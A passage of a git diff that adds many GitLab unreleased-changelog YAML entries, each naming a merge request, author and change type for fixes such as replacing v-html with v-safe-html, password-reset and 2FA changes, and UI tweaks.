@@ -0,0 +1,5 @@
+---
+title: Create table for storing Instance Statistics object counts
+merge_request: 40605
+author:
+type: added
diff --git a/changelogs/unreleased/241700-devops-score-migrate-empty-state-into-vue-component.yml b/changelogs/unreleased/241700-devops-score-migrate-empty-state-into-vue-component.yml
new file mode 100644
index 00000000000..15128a69829
--- /dev/null
+++ b/changelogs/unreleased/241700-devops-score-migrate-empty-state-into-vue-component.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate DevOps Score empty state into Vue component
+merge_request: 40595
+author:
+type: changed
diff --git a/changelogs/unreleased/241809-db-migration-for-vulnerabilities-count.yml b/changelogs/unreleased/241809-db-migration-for-vulnerabilities-count.yml
new file mode 100644
index 00000000000..ad808d95948
--- /dev/null
+++ b/changelogs/unreleased/241809-db-migration-for-vulnerabilities-count.yml
@@ -0,0 +1,5 @@
+---
+title: Change Vulnerabilities Count Data Retention to 1 year
+merge_request: 40766
+author:
+type: other
diff --git a/changelogs/unreleased/241818-simplify-password-reset-flow-for-a-user-whose-password-has-been-ch.yml b/changelogs/unreleased/241818-simplify-password-reset-flow-for-a-user-whose-password-has-been-ch.yml
new file mode 100644
index 00000000000..9e606269b1d
--- /dev/null
+++ b/changelogs/unreleased/241818-simplify-password-reset-flow-for-a-user-whose-password-has-been-ch.yml
@@ -0,0 +1,5 @@
+---
+title: Remove the expiry on user passwords after a user resets their password
+merge_request: 40712
+author:
+type: fixed
diff --git a/changelogs/unreleased/241851-Replace-v-html.yml b/changelogs/unreleased/241851-Replace-v-html.yml
new file mode 100644
index 00000000000..6ddfbda69c5
--- /dev/null
+++ b/changelogs/unreleased/241851-Replace-v-html.yml
@@ -0,0 +1,5 @@
+---
+title: Replace v-html with v-safe-html in fork_groups_list_item.vue
+merge_request: 41143
+author: Kev @KevSlashNull
+type: other
diff --git a/changelogs/unreleased/241862-Replace-v-html.yml b/changelogs/unreleased/241862-Replace-v-html.yml
new file mode 100644
index 00000000000..9838a9cb2be
--- /dev/null
+++ b/changelogs/unreleased/241862-Replace-v-html.yml
@@ -0,0 +1,5 @@
+---
+title: Replace v-html with the gl-icon component in time_ago.vue
+merge_request: 41457
+author: Kev @KevSlashNull
+type: other
diff --git a/changelogs/unreleased/241867-Replace-v-html.yml b/changelogs/unreleased/241867-Replace-v-html.yml
new file mode 100644
index 00000000000..8c49109b12d
--- /dev/null
+++ b/changelogs/unreleased/241867-Replace-v-html.yml
@@ -0,0 +1,5 @@
+---
+title: Replace v-html with v-safe-html in no_changes.vue
+merge_request: 41471
+author: Kev @KevSlashNull
+type: other
diff --git a/changelogs/unreleased/241879-Replace-v-html.yml b/changelogs/unreleased/241879-Replace-v-html.yml
new file mode 100644
index 00000000000..3f839e943a8
--- /dev/null
+++ b/changelogs/unreleased/241879-Replace-v-html.yml
@@ -0,0 +1,5 @@
+---
+title: Replace v-html with v-safe-html in note_signed_out_widget_spec.js
+merge_request: 41219
+author: Kev @KevSlashNull
+type: other
diff --git a/changelogs/unreleased/241897-Replace-v-html.yml b/changelogs/unreleased/241897-Replace-v-html.yml
new file mode 100644
index 00000000000..3ce994036fa
--- /dev/null
+++ b/changelogs/unreleased/241897-Replace-v-html.yml
@@ -0,0 +1,5 @@
+---
+title: Replace v-html with v-safe-html in delete_project_modal.vue
+merge_request: 41130
+author: Kev @KevSlashNull
+type: other
diff --git a/changelogs/unreleased/241921-Replace-v-html.yml b/changelogs/unreleased/241921-Replace-v-html.yml
new file mode 100644
index 00000000000..ea39c1830eb
--- /dev/null
+++ b/changelogs/unreleased/241921-Replace-v-html.yml
@@ -0,0 +1,5 @@
+---
+title: Replace v-html with v-safe-html in delete_user_modal.vue
+merge_request: 41328
+author: Kev @KevSlashNull
+type: other
diff --git a/changelogs/unreleased/241941-Replace-v-html.yml b/changelogs/unreleased/241941-Replace-v-html.yml
new file mode 100644
index 00000000000..c65ef3ad5d9
--- /dev/null
+++ b/changelogs/unreleased/241941-Replace-v-html.yml
@@ -0,0 +1,5 @@
+---
+title: Replace v-html with v-safe-html in list.vue
+merge_request: 41145
+author: Kev @KevSlashNull
+type: other
diff --git a/changelogs/unreleased/241953-Replace-v-html.yml b/changelogs/unreleased/241953-Replace-v-html.yml
new file mode 100644
index 00000000000..960114f0612
--- /dev/null
+++ b/changelogs/unreleased/241953-Replace-v-html.yml
@@ -0,0 +1,5 @@
+---
+title: Replace v-html with v-safe-html in description.vue
+merge_request: 41336
+author: Kev @KevSlashNull
+type: other
diff --git a/changelogs/unreleased/241963-Replace-v-html.yml b/changelogs/unreleased/241963-Replace-v-html.yml
new file mode 100644
index 00000000000..d1527620016
--- /dev/null
+++ b/changelogs/unreleased/241963-Replace-v-html.yml
@@ -0,0 +1,5 @@
+---
+title: Replace v-html with v-safe-html in parallel_diff_table_row.vue
+merge_request: 41206
+author: Kev @KevSlashNull
+type: other
diff --git a/changelogs/unreleased/241964-Replace-v-html.yml b/changelogs/unreleased/241964-Replace-v-html.yml
new file mode 100644
index 00000000000..1bf352acfa7
--- /dev/null
+++ b/changelogs/unreleased/241964-Replace-v-html.yml
@@ -0,0 +1,5 @@
+---
+title: Replace v-html with v-safe-html in registry_breadcrumb.vue
+merge_request: 41207
+author: Kev @KevSlashNull
+type: other
diff --git a/changelogs/unreleased/241966-Replace-v-html.yml b/changelogs/unreleased/241966-Replace-v-html.yml
new file mode 100644
index 00000000000..cc72de64e38
--- /dev/null
+++ b/changelogs/unreleased/241966-Replace-v-html.yml
@@ -0,0 +1,5 @@
+---
+title: Replace v-html with v-safe-html in suggestions.vue
+merge_request: 41200
+author: Kev @KevSlashNull
+type: other
diff --git a/changelogs/unreleased/241968-Replace-v-html.yml b/changelogs/unreleased/241968-Replace-v-html.yml
new file mode 100644
index 00000000000..522875b6585
--- /dev/null
+++ b/changelogs/unreleased/241968-Replace-v-html.yml
@@ -0,0 +1,5 @@
+---
+title: Replace v-html with GlSprintf in memory_usage.vue
+merge_request: 41204
+author: Kev @KevSlashNull
+type: other
diff --git a/changelogs/unreleased/241969-Replace-v-html.yml b/changelogs/unreleased/241969-Replace-v-html.yml
new file mode 100644
index 00000000000..c36591fbed2
--- /dev/null
+++ b/changelogs/unreleased/241969-Replace-v-html.yml
@@ -0,0 +1,5 @@
+---
+title: Replace v-html with v-safe-html in popover.vue
+merge_request: 41197
+author: Kev @KevSlashNull
+type: other
diff --git a/changelogs/unreleased/241970-fix-hover-style-in-darkmode.yml b/changelogs/unreleased/241970-fix-hover-style-in-darkmode.yml
new file mode 100644
index 00000000000..b615a2f5e91
--- /dev/null
+++ b/changelogs/unreleased/241970-fix-hover-style-in-darkmode.yml
@@ -0,0 +1,5 @@
+---
+title: Fix todos hover style in dark mode
+merge_request: 41122
+author:
+type: fixed
diff --git a/changelogs/unreleased/242284-charts-not-rendered-when-startup-css-enabled-due-to-cloaking.yml b/changelogs/unreleased/242284-charts-not-rendered-when-startup-css-enabled-due-to-cloaking.yml
new file mode 100644
index 00000000000..5755900199b
--- /dev/null
+++ b/changelogs/unreleased/242284-charts-not-rendered-when-startup-css-enabled-due-to-cloaking.yml
@@ -0,0 +1,5 @@
+---
+title: Initialise charts when container display property is set
+merge_request: 40787
+author:
+type: fixed
diff --git a/changelogs/unreleased/242291-gitlab-file-tree-icon-not-working-in-firefox.yml b/changelogs/unreleased/242291-gitlab-file-tree-icon-not-working-in-firefox.yml
new file mode 100644
index 00000000000..89eb99dca8c
--- /dev/null
+++ b/changelogs/unreleased/242291-gitlab-file-tree-icon-not-working-in-firefox.yml
@@ -0,0 +1,5 @@
+---
+title: Fix GitLab file icon in Firefox
+merge_request: 40786
+author:
+type: fixed
diff --git a/changelogs/unreleased/243444-user-cannot-sign-out-of-gitlab-once-admin-resets-their-password.yml b/changelogs/unreleased/243444-user-cannot-sign-out-of-gitlab-once-admin-resets-their-password.yml
new file mode 100644
index 00000000000..fa57890b031
--- /dev/null
+++ b/changelogs/unreleased/243444-user-cannot-sign-out-of-gitlab-once-admin-resets-their-password.yml
@@ -0,0 +1,5 @@
+---
+title: Allow users with expired passwords to sign out
+merge_request: 40830
+author:
+type: fixed
diff --git a/changelogs/unreleased/243550-missing-slash-in-registry-setup-section-of-npm-module-in-gitlab-re.yml b/changelogs/unreleased/243550-missing-slash-in-registry-setup-section-of-npm-module-in-gitlab-re.yml
new file mode 100644
index 00000000000..d6b06d49454
--- /dev/null
+++ b/changelogs/unreleased/243550-missing-slash-in-registry-setup-section-of-npm-module-in-gitlab-re.yml
@@ -0,0 +1,5 @@
+---
+title: Add Missing slash in 'Registry setup' section of npm packages
+merge_request: 42360
+author:
+type: changed
diff --git a/changelogs/unreleased/243758-indent-two-spaced-lists.yml b/changelogs/unreleased/243758-indent-two-spaced-lists.yml
new file mode 100644
index 00000000000..423b848910d
--- /dev/null
+++ b/changelogs/unreleased/243758-indent-two-spaced-lists.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve Static Site Editor Flattens Mixed Lists
+merge_request: 41599
+author:
+type: fixed
diff --git a/changelogs/unreleased/243760-fix-link-reference-definitions.yml b/changelogs/unreleased/243760-fix-link-reference-definitions.yml
new file mode 100644
index 00000000000..b20d2f10f07
--- /dev/null
+++ b/changelogs/unreleased/243760-fix-link-reference-definitions.yml
@@ -0,0 +1,5 @@
+---
+title: Render reference definitions as code blocks
+merge_request: 41186
+author:
+type: fixed
diff --git a/changelogs/unreleased/243787-make-the-auto_link_user-omniauth-setting-configurable-by-provider.yml b/changelogs/unreleased/243787-make-the-auto_link_user-omniauth-setting-configurable-by-provider.yml
new file mode 100644
index 00000000000..b9f9313e2f6
--- /dev/null
+++ b/changelogs/unreleased/243787-make-the-auto_link_user-omniauth-setting-configurable-by-provider.yml
@@ -0,0 +1,5 @@
+---
+title: Make the auto_link_user OmniAuth setting configurable by provider
+merge_request: 41133
+author:
+type: added
diff --git a/changelogs/unreleased/244277-remove-ff-recent-items-search.yml b/changelogs/unreleased/244277-remove-ff-recent-items-search.yml
new file mode 100644
index 00000000000..d71bcba093e
--- /dev/null
+++ b/changelogs/unreleased/244277-remove-ff-recent-items-search.yml
@@ -0,0 +1,5 @@
+---
+title: Autocomplete recently viewed issues in the global search bar
+merge_request: 42302
+author:
+type: added
diff --git a/changelogs/unreleased/244298-rake-task-to-dump-usage-ping-sql-yaml-json.yml b/changelogs/unreleased/244298-rake-task-to-dump-usage-ping-sql-yaml-json.yml
new file mode 100644
index 00000000000..36c37910c2a
--- /dev/null
+++ b/changelogs/unreleased/244298-rake-task-to-dump-usage-ping-sql-yaml-json.yml
@@ -0,0 +1,5 @@
+---
+title: Rake task to generate raw SQLs for usage ping
+merge_request: 41091
+author:
+type: added
diff --git a/changelogs/unreleased/244638-change-time-to-salt.yml b/changelogs/unreleased/244638-change-time-to-salt.yml
new file mode 100644
index 00000000000..3dd7742bb4d
--- /dev/null
+++ b/changelogs/unreleased/244638-change-time-to-salt.yml
@@ -0,0 +1,5 @@
+---
+title: Change 2FA to verify password hash instead of timestamp
+merge_request: 41366
+author:
+type: changed
diff --git a/changelogs/unreleased/244828-iglu-registry-url-optional-from-gitlab.yml b/changelogs/unreleased/244828-iglu-registry-url-optional-from-gitlab.yml
new file mode 100644
index 00000000000..5c69411e65c
--- /dev/null
+++ b/changelogs/unreleased/244828-iglu-registry-url-optional-from-gitlab.yml
@@ -0,0 +1,5 @@
+---
+title: Remove application settings for Snowplow iglu registry url
+merge_request: 41556
+author:
+type: removed
diff --git a/changelogs/unreleased/244848-fix-lfs-cleanup-data-loss-bug.yml b/changelogs/unreleased/244848-fix-lfs-cleanup-data-loss-bug.yml
new file mode 100644
index 00000000000..cd1e378e558
--- /dev/null
+++ b/changelogs/unreleased/244848-fix-lfs-cleanup-data-loss-bug.yml
@@ -0,0 +1,5 @@
+---
+title: Correctly preserve LFS objects in design or wiki repositories
+merge_request: 41352
+author:
+type: fixed
diff --git a/changelogs/unreleased/244848-skip-cleanup-for-forks.yml b/changelogs/unreleased/244848-skip-cleanup-for-forks.yml
new file mode 100644
index 00000000000..eac3da71aae
--- /dev/null
+++ b/changelogs/unreleased/244848-skip-cleanup-for-forks.yml
@@ -0,0 +1,5 @@
+---
+title: Refuse to perform an LFS clean on projects that are fork roots
+merge_request: 41703
+author:
+type: fixed
diff --git a/changelogs/unreleased/244947-remove-designs-from-incdients.yml b/changelogs/unreleased/244947-remove-designs-from-incdients.yml
new file mode 100644
index 00000000000..605d66dae12
--- /dev/null
+++ b/changelogs/unreleased/244947-remove-designs-from-incdients.yml
@@ -0,0 +1,5 @@
+---
+title: Remove designs from incidents
+merge_request: 41757
+author:
+type: changed
diff --git a/changelogs/unreleased/245247-check-for-usage-ping-enabled-when-tracking-using-redis-hll.yml b/changelogs/unreleased/245247-check-for-usage-ping-enabled-when-tracking-using-redis-hll.yml
new file mode 100644
index 00000000000..76d70b52803
--- /dev/null
+++ b/changelogs/unreleased/245247-check-for-usage-ping-enabled-when-tracking-using-redis-hll.yml
@@ -0,0 +1,5 @@
+---
+title: Check if usage ping enabled for all tracking using Redis HLL
+merge_request: 41562
+author:
+type: added
diff --git a/changelogs/unreleased/245277-handle-redis-for-usage-ping-sql-dump-rake-task.yml b/changelogs/unreleased/245277-handle-redis-for-usage-ping-sql-dump-rake-task.yml
new file mode 100644
index 00000000000..5219de672d3
--- /dev/null
+++ b/changelogs/unreleased/245277-handle-redis-for-usage-ping-sql-dump-rake-task.yml
@@ -0,0 +1,5 @@
+---
+title: Updated gitlab:usage_data:dump_sql_in_yaml rake task with redis usage
+merge_request: 42189
+author:
+type: changed
diff --git a/changelogs/unreleased/24629.yml b/changelogs/unreleased/24629.yml
new file mode 100644
index 00000000000..16cc6d0db43
--- /dev/null
+++ b/changelogs/unreleased/24629.yml
@@ -0,0 +1,5 @@
+---
+title: Highlight un-focused/un-viewed file's in file tree
+merge_request: 27937
+author:
+type: changed
diff --git a/changelogs/unreleased/246489-fix-files-count-for-large-mr-diffs.yml b/changelogs/unreleased/246489-fix-files-count-for-large-mr-diffs.yml
new file mode 100644
index 00000000000..518d66f422f
--- /dev/null
+++ b/changelogs/unreleased/246489-fix-files-count-for-large-mr-diffs.yml
@@ -0,0 +1,5 @@
+---
+title: Fix MR diff file counts for some historic data
+merge_request: 41676
+author:
+type: fixed
diff --git a/changelogs/unreleased/246502-fix-always-visible-sidebar-spinner.yml b/changelogs/unreleased/246502-fix-always-visible-sidebar-spinner.yml
new file mode 100644
index 00000000000..c91c93bdcf0
--- /dev/null
+++ b/changelogs/unreleased/246502-fix-always-visible-sidebar-spinner.yml
@@ -0,0 +1,5 @@
+---
+title: Fix always visible sidebar TODO button spinner
+merge_request: 41677
+author:
+type: fixed
diff --git a/changelogs/unreleased/246532-on-design-discussion-comment-is-added-twice.yml b/changelogs/unreleased/246532-on-design-discussion-comment-is-added-twice.yml
new file mode 100644
index 00000000000..8c11a731541
--- /dev/null
+++ b/changelogs/unreleased/246532-on-design-discussion-comment-is-added-twice.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve design discussion bug where a comment is added twice
+merge_request: 41687
+author:
+type: fixed
diff --git a/changelogs/unreleased/246655-hashed-storage-trigger-migration-to-hashed-storage-via-post-deploy.yml b/changelogs/unreleased/246655-hashed-storage-trigger-migration-to-hashed-storage-via-post-deploy.yml
new file mode 100644
index 00000000000..472dde6b9f0
--- /dev/null
+++ b/changelogs/unreleased/246655-hashed-storage-trigger-migration-to-hashed-storage-via-post-deploy.yml
@@ -0,0 +1,5 @@
+---
+title: 'Hashed Storage: forced automatic migration of legacy projects via background jobs'
+merge_request: 42313
+author:
+type: changed
diff --git a/changelogs/unreleased/246741-conan-unicorn-bug.yml b/changelogs/unreleased/246741-conan-unicorn-bug.yml
new file mode 100644
index 00000000000..669550c1c81
--- /dev/null
+++ b/changelogs/unreleased/246741-conan-unicorn-bug.yml
@@ -0,0 +1,5 @@
+---
+title: Use 'read' method to get request body in Conan to fix uploads when using Unicorn
+merge_request: 41801
+author:
+type: fixed
diff --git a/changelogs/unreleased/246904-drop-limit-container-width-from-projects.yml b/changelogs/unreleased/246904-drop-limit-container-width-from-projects.yml
new file mode 100644
index 00000000000..2c375567a50
--- /dev/null
+++ b/changelogs/unreleased/246904-drop-limit-container-width-from-projects.yml
@@ -0,0 +1,5 @@
+---
+title: Drop one of duplicated classname from Projects
+merge_request: 41831
+author: Takuya Noguchi
+type: performance
diff --git a/changelogs/unreleased/246904-drop-limit-container-width-from-serverless-function.yml b/changelogs/unreleased/246904-drop-limit-container-width-from-serverless-function.yml
new file mode 100644
index 00000000000..35193bccb42
--- /dev/null
+++ b/changelogs/unreleased/246904-drop-limit-container-width-from-serverless-function.yml
@@ -0,0 +1,5 @@
+---
+title: Drop one of duplicated classname from Serverless Function
+merge_request: 41832
+author: Takuya Noguchi
+type: performance
diff --git a/changelogs/unreleased/246904-drop-limit-container-width-from-serverless-functions.yml b/changelogs/unreleased/246904-drop-limit-container-width-from-serverless-functions.yml
new file mode 100644
index 00000000000..f0bc3385ec5
--- /dev/null
+++ b/changelogs/unreleased/246904-drop-limit-container-width-from-serverless-functions.yml
@@ -0,0 +1,5 @@
+---
+title: Drop one of duplicated classname from Serverless Functions
+merge_request: 41833
+author: Takuya Noguchi
+type: performance
diff --git a/changelogs/unreleased/247465-fix-typo-in-class-name.yml b/changelogs/unreleased/247465-fix-typo-in-class-name.yml
new file mode 100644
index 00000000000..2e615f9e464
--- /dev/null
+++ b/changelogs/unreleased/247465-fix-typo-in-class-name.yml
@@ -0,0 +1,5 @@
+---
+title: Fix button color for merge request settings
+merge_request: 42052
+author: Mikhail Snetkov
+type: fixed
diff --git a/changelogs/unreleased/247870-nomethoderror-saving-jira-integration-with-invalid-credentials.yml b/changelogs/unreleased/247870-nomethoderror-saving-jira-integration-with-invalid-credentials.yml
new file mode 100644
index 00000000000..44a4e3c9499
--- /dev/null
+++ b/changelogs/unreleased/247870-nomethoderror-saving-jira-integration-with-invalid-credentials.yml
@@ -0,0 +1,5 @@
+---
+title: Fix exception when saving Jira integration info for an instance
+merge_request: 42361
+author:
+type: fixed
diff --git a/changelogs/unreleased/247897-properly-style-the-container-registry-metadata.yml b/changelogs/unreleased/247897-properly-style-the-container-registry-metadata.yml
new file mode 100644
index 00000000000..6e850027133
--- /dev/null
+++ b/changelogs/unreleased/247897-properly-style-the-container-registry-metadata.yml
@@ -0,0 +1,5 @@
+---
+title: Update visual styling of container registry metadata
+merge_request: 42202
+author:
+type: changed
diff --git a/changelogs/unreleased/249040-fix-subscription-without-namespace.yml b/changelogs/unreleased/249040-fix-subscription-without-namespace.yml
new file mode 100644
index 00000000000..bf8e8cce7fe
--- /dev/null
+++ b/changelogs/unreleased/249040-fix-subscription-without-namespace.yml
@@ -0,0 +1,5 @@
+---
+title: Fix max seats used not updated in billing summary
+merge_request: 42184
+author:
+type: fixed
diff --git a/changelogs/unreleased/249091-autocomplete-recent-mrs.yml b/changelogs/unreleased/249091-autocomplete-recent-mrs.yml
new file mode 100644
index 00000000000..5a67e136ca4
--- /dev/null
+++ b/changelogs/unreleased/249091-autocomplete-recent-mrs.yml
@@ -0,0 +1,5 @@
+---
+title: Add autocomplete search suggestions for recent merge requests
+merge_request: 42560
+author:
+type: added
diff --git a/changelogs/unreleased/249519-fix-daemon-jobs-hash-thread-safe-issue.yml b/changelogs/unreleased/249519-fix-daemon-jobs-hash-thread-safe-issue.yml
new file mode 100644
index 00000000000..b77a07c1df0
--- /dev/null
+++ b/changelogs/unreleased/249519-fix-daemon-jobs-hash-thread-safe-issue.yml
@@ -0,0 +1,5 @@
+---
+title: Fix daemon memory killer jobs hash thread safety issue
+merge_request: 42468
+author:
+type: fixed
diff --git a/changelogs/unreleased/249910-does-not-update-repository-statistics-when-running-on-a-read-only-.yml b/changelogs/unreleased/249910-does-not-update-repository-statistics-when-running-on-a-read-only-.yml
new file mode 100644
index 00000000000..187b6dddef0
--- /dev/null
+++ b/changelogs/unreleased/249910-does-not-update-repository-statistics-when-running-on-a-read-only-.yml
@@ -0,0 +1,6 @@
+---
+title: Does not update repository statistics when running housekeeping and repository
+ cleanup on a read-only instance
+merge_request: 42409
+author:
+type: fixed
diff --git a/changelogs/unreleased/250279-unnecessary-spacing-exists-in-issues-list.yml b/changelogs/unreleased/250279-unnecessary-spacing-exists-in-issues-list.yml
new file mode 100644
index 00000000000..e335bfa8ddd
--- /dev/null
+++ b/changelogs/unreleased/250279-unnecessary-spacing-exists-in-issues-list.yml
@@ -0,0 +1,5 @@
+---
+title: Remove an extra spacing from Dashboard Issues
+merge_request: 42459
+author: Takuya Noguchi
+type: fixed
diff --git a/changelogs/unreleased/250350-design-comments-do-not-render-the-blockquotes-correctly.yml b/changelogs/unreleased/250350-design-comments-do-not-render-the-blockquotes-correctly.yml
new file mode 100644
index 00000000000..2c4a0bd5992
--- /dev/null
+++ b/changelogs/unreleased/250350-design-comments-do-not-render-the-blockquotes-correctly.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve Design comments do not render the blockquotes correctly
+merge_request: 42498
+author:
+type: fixed
diff --git a/changelogs/unreleased/251013-on-design-discussion-note-icons-are-misaligned.yml b/changelogs/unreleased/251013-on-design-discussion-note-icons-are-misaligned.yml
new file mode 100644
index 00000000000..5d1cd5ba629
--- /dev/null
+++ b/changelogs/unreleased/251013-on-design-discussion-note-icons-are-misaligned.yml
@@ -0,0 +1,5 @@
+---
+title: Resolve On design discussion note, icons are misaligned
+merge_request: 42672
+author:
+type: fixed
diff --git a/changelogs/unreleased/26149-email-notifications-not-being-sent-on-important-security-event-like.yml b/changelogs/unreleased/26149-email-notifications-not-being-sent-on-important-security-event-like.yml
new file mode 100644
index 00000000000..94563db669c
--- /dev/null
+++ b/changelogs/unreleased/26149-email-notifications-not-being-sent-on-important-security-event-like.yml
@@ -0,0 +1,5 @@
+---
+title: Send email notification on disabling 2FA
+merge_request: 39572
+author:
+type: added
diff --git a/changelogs/unreleased/27284-indicate-that-password-reset-was-initiated-by-an-admin-when-an-admi.yml b/changelogs/unreleased/27284-indicate-that-password-reset-was-initiated-by-an-admin-when-an-admi.yml
new file mode 100644
index 00000000000..99bbf8c8427
--- /dev/null
+++ b/changelogs/unreleased/27284-indicate-that-password-reset-was-initiated-by-an-admin-when-an-admi.yml
@@ -0,0 +1,5 @@
+---
+title: Password changed emails must specify that password was changed by admin
+merge_request: 40342
+author:
+type: added
diff --git a/changelogs/unreleased/28459-paginate_profile_settings_group_notifications.yml b/changelogs/unreleased/28459-paginate_profile_settings_group_notifications.yml
new file mode 100644
index 00000000000..1d177115242
--- /dev/null
+++ b/changelogs/unreleased/28459-paginate_profile_settings_group_notifications.yml
@@ -0,0 +1,5 @@
+---
+title: Paginate profile group notifications
+merge_request: 40326
+author:
+type: added
diff --git a/changelogs/unreleased/29642-Replace-Unicode-with-ASCII-Equivalent.yml b/changelogs/unreleased/29642-Replace-Unicode-with-ASCII-Equivalent.yml
new file mode 100644
index 00000000000..bcdb855ea19
--- /dev/null
+++ b/changelogs/unreleased/29642-Replace-Unicode-with-ASCII-Equivalent.yml
@@ -0,0 +1,5 @@
+---
+title: Replace Unicode Characters with ASCII Equivalent in New Project Slug
+merge_request: 39971
+author: Kev @KevSlashNull
+type: changed
diff --git a/changelogs/unreleased/29651-243747-enable-child-of-child-pipeline.yml b/changelogs/unreleased/29651-243747-enable-child-of-child-pipeline.yml
new file mode 100644
index 00000000000..6bd19a0b2a2
--- /dev/null
+++ b/changelogs/unreleased/29651-243747-enable-child-of-child-pipeline.yml
@@ -0,0 +1,5 @@
+---
+title: Implement allowing child pipeline to have child pipeline
+merge_request: 42580
+author:
+type: added
diff --git a/changelogs/unreleased/29651-fix-triggered-pipelines-depth.yml b/changelogs/unreleased/29651-fix-triggered-pipelines-depth.yml
new file mode 100644
index 00000000000..438a47fa4a7
--- /dev/null
+++ b/changelogs/unreleased/29651-fix-triggered-pipelines-depth.yml
@@ -0,0 +1,5 @@
+---
+title: Fix error when third level trigger pipeline
+merge_request: 42192
+author:
+type: fixed
diff --git a/changelogs/unreleased/29957-locked_issues_no_reaction.yml b/changelogs/unreleased/29957-locked_issues_no_reaction.yml
new file mode 100644
index 00000000000..a13fad7bf5f
--- /dev/null
+++ b/changelogs/unreleased/29957-locked_issues_no_reaction.yml
@@ -0,0 +1,6 @@
+---
+title: Disallow awarding emojis to locked Issuables for users that are not member
+ of the project
+merge_request: 40150
+author:
+type: changed
diff --git a/changelogs/unreleased/31092-user-search-filtered-to-group-times-out.yml b/changelogs/unreleased/31092-user-search-filtered-to-group-times-out.yml
new file mode 100644
index 00000000000..a5d75b08f96
--- /dev/null
+++ b/changelogs/unreleased/31092-user-search-filtered-to-group-times-out.yml
@@ -0,0 +1,5 @@
+---
+title: Improve group search users scope performance
+merge_request: 38701
+author:
+type: performance
diff --git a/changelogs/unreleased/33646-eliminate-cycle-analytics-total-stage.yml b/changelogs/unreleased/33646-eliminate-cycle-analytics-total-stage.yml
new file mode 100644
index 00000000000..bd85cf0cc44
--- /dev/null
+++ b/changelogs/unreleased/33646-eliminate-cycle-analytics-total-stage.yml
@@ -0,0 +1,5 @@
+---
+title: Remove Value Stream Total stage
+merge_request: 42345
+author:
+type: removed
diff --git a/changelogs/unreleased/33909-show-peek-ajax-api-requests.yml b/changelogs/unreleased/33909-show-peek-ajax-api-requests.yml
new file mode 100644
index 00000000000..aadf7bc1e7a
--- /dev/null
+++ b/changelogs/unreleased/33909-show-peek-ajax-api-requests.yml
@@ -0,0 +1,5 @@
+---
+title: Automatically add AJAX API requests to the performance bar
+merge_request: 39069
+author:
+type: added
diff --git a/changelogs/unreleased/34281-add-ci-variable-commit-timestamp.yml b/changelogs/unreleased/34281-add-ci-variable-commit-timestamp.yml
new file mode 100644
index 00000000000..dc78900de6e
--- /dev/null
+++ b/changelogs/unreleased/34281-add-ci-variable-commit-timestamp.yml
@@ -0,0 +1,5 @@
+---
+title: Add CI_COMMIT_TIMESTAMP CI variable
+merge_request: 40388
+author: Nasko Vasilev
+type: added
diff --git a/changelogs/unreleased/35080-add-validation-to-pypi-package-version.yml b/changelogs/unreleased/35080-add-validation-to-pypi-package-version.yml
new file mode 100644
index 00000000000..445aad0e72b
--- /dev/null
+++ b/changelogs/unreleased/35080-add-validation-to-pypi-package-version.yml
@@ -0,0 +1,5 @@
+---
+title: Add validation to pypi package version
+merge_request: 35080
+author: Bola Ahmed Buari
+type: added
diff --git a/changelogs/unreleased/37248-add-api-to-monitor-issue-creation.yml b/changelogs/unreleased/37248-add-api-to-monitor-issue-creation.yml
new file mode 100644
index 00000000000..10499223fb3
--- /dev/null
+++ b/changelogs/unreleased/37248-add-api-to-monitor-issue-creation.yml
@@ -0,0 +1,5 @@
+---
+title: Add ability to get an Issue using GraphQL and REST API
+merge_request: 35176
+author:
+type: added
diff --git a/changelogs/unreleased/37985-add-gitpod-button-to-open-project-in-gitpod.yml b/changelogs/unreleased/37985-add-gitpod-button-to-open-project-in-gitpod.yml
new file mode 100644
index 00000000000..4d4117cdca7
--- /dev/null
+++ b/changelogs/unreleased/37985-add-gitpod-button-to-open-project-in-gitpod.yml
@@ -0,0 +1,5 @@
+---
+title: Add Gitpod integration
+merge_request: 37985
+author: Cornelius Ludmann @corneliusludmann
+type: added
diff --git a/changelogs/unreleased/41596-sse-minor-ux-spacing.yml b/changelogs/unreleased/41596-sse-minor-ux-spacing.yml
new file mode 100644
index 00000000000..a592e089603
--- /dev/null
+++ b/changelogs/unreleased/41596-sse-minor-ux-spacing.yml
@@ -0,0 +1,5 @@
+---
+title: Add bottom spacing to static site editor UI to align with overall UI spacing
+merge_request: 41596
+author:
+type: added
diff --git a/changelogs/unreleased/41818.yml b/changelogs/unreleased/41818.yml
new file mode 100644
index 00000000000..cecfb223f8d
--- /dev/null
+++ b/changelogs/unreleased/41818.yml
@@ -0,0 +1,5 @@
+---
+title: Improve design management not available message
+merge_request: 41818
+author: Ben Bodenmiller @bbodenmiller
+type: fixed
diff --git a/changelogs/unreleased/Incident-highlight-bar.yml b/changelogs/unreleased/Incident-highlight-bar.yml
new file mode 100644
index 00000000000..ddd746801cb
--- /dev/null
+++ b/changelogs/unreleased/Incident-highlight-bar.yml
@@ -0,0 +1,5 @@
+---
+title: Incident highlight bar widget
+merge_request: 41702
+author:
+type: added
diff --git a/changelogs/unreleased/Replace-GlDeprecatedDropdown-with-GlDropdown-in-app-assets-javascripts-vu.yml b/changelogs/unreleased/Replace-GlDeprecatedDropdown-with-GlDropdown-in-app-assets-javascripts-vu.yml
new file mode 100644
index 00000000000..84338e8e8f7
--- /dev/null
+++ b/changelogs/unreleased/Replace-GlDeprecatedDropdown-with-GlDropdown-in-app-assets-javascripts-vu.yml
@@ -0,0 +1,5 @@
+---
+title: Replace GlDeprecatedDropdownDivider with GlDropdown in app/assets/javascripts/vue_shared/components/filtered_search_bar/tokens/author_token.vue
+merge_request: 41432
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/Resolve-Migrate--fa-spinner-app-views-projects-blob-viewers.yml b/changelogs/unreleased/Resolve-Migrate--fa-spinner-app-views-projects-blob-viewers.yml
new file mode 100644
index 00000000000..a832d2a63ef
--- /dev/null
+++ b/changelogs/unreleased/Resolve-Migrate--fa-spinner-app-views-projects-blob-viewers.yml
@@ -0,0 +1,5 @@
+---
+title: Migrate .fa-spinner to .spinner for app/views/projects/blob/viewers
+merge_request: 25046
+author: nuwe1
+type: other
diff --git a/changelogs/unreleased/ab-hide-pending-delete-projects-from-project-index.yml b/changelogs/unreleased/ab-hide-pending-delete-projects-from-project-index.yml
new file mode 100644
index 00000000000..a593312a564
--- /dev/null
+++ b/changelogs/unreleased/ab-hide-pending-delete-projects-from-project-index.yml
@@ -0,0 +1,5 @@
+---
